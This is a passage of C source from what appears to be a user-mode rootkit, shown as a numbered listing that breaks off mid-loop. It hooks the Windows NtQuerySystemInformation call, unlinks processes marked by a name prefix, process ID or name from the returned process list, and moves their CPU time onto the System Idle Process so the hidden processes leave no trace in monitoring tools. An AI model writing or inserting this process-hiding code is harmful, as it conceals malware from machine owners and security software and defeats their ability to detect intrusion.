| 128 | } |
| 129 | |
| 130 | static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength) |
| 131 | { |
| 132 | // returnLength is important, but it may be NULL, so wrap this value. |
| 133 | ULONG newReturnLength; |
| 134 | NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength); |
| 135 | if (returnLength) *returnLength = newReturnLength; |
| 136 | |
| 137 | if (NT_SUCCESS(status)) |
| 138 | { |
| 139 | // Hide processes |
| 140 | if (systemInformationClass == SystemProcessInformation) |
| 141 | { |
| 142 | // Accumulate CPU usage of hidden processes. |
| 143 | LARGE_INTEGER hiddenKernelTime = { 0 }; |
| 144 | LARGE_INTEGER hiddenUserTime = { 0 }; |
| 145 | LONGLONG hiddenCycleTime = 0; |
| 146 | |
| 147 | for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) |
| 148 | { |
| 149 | if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName)) |
| 150 | { |
| 151 | hiddenKernelTime.QuadPart += current->KernelTime.QuadPart; |
| 152 | hiddenUserTime.QuadPart += current->UserTime.QuadPart; |
| 153 | hiddenCycleTime += current->CycleTime; |
| 154 | |
| 155 | if (previous) |
| 156 | { |
| 157 | if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset; |
| 158 | else previous->NextEntryOffset = 0; |
| 159 | } |
| 160 | else |
| 161 | { |
| 162 | if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset; |
| 163 | else systemInformation = NULL; |
| 164 | } |
| 165 | } |
| 166 | else |
| 167 | { |
| 168 | previous = current; |
| 169 | } |
| 170 | |
| 171 | if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); |
| 172 | else current = NULL; |
| 173 | } |
| 174 | |
| 175 | // Add CPU usage of hidden processes to the System Idle Process. |
| 176 | for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) |
| 177 | { |
| 178 | if (current->ProcessId == 0) |
| 179 | { |
| 180 | current->KernelTime.QuadPart += hiddenKernelTime.QuadPart; |
| 181 | current->UserTime.QuadPart += hiddenUserTime.QuadPart; |
| 182 | current->CycleTime += hiddenCycleTime; |
| 183 | break; |
| 184 | } |
| 185 | |
| 186 | previous = current; |
| 187 |
nothing calls this directly
no test coverage detected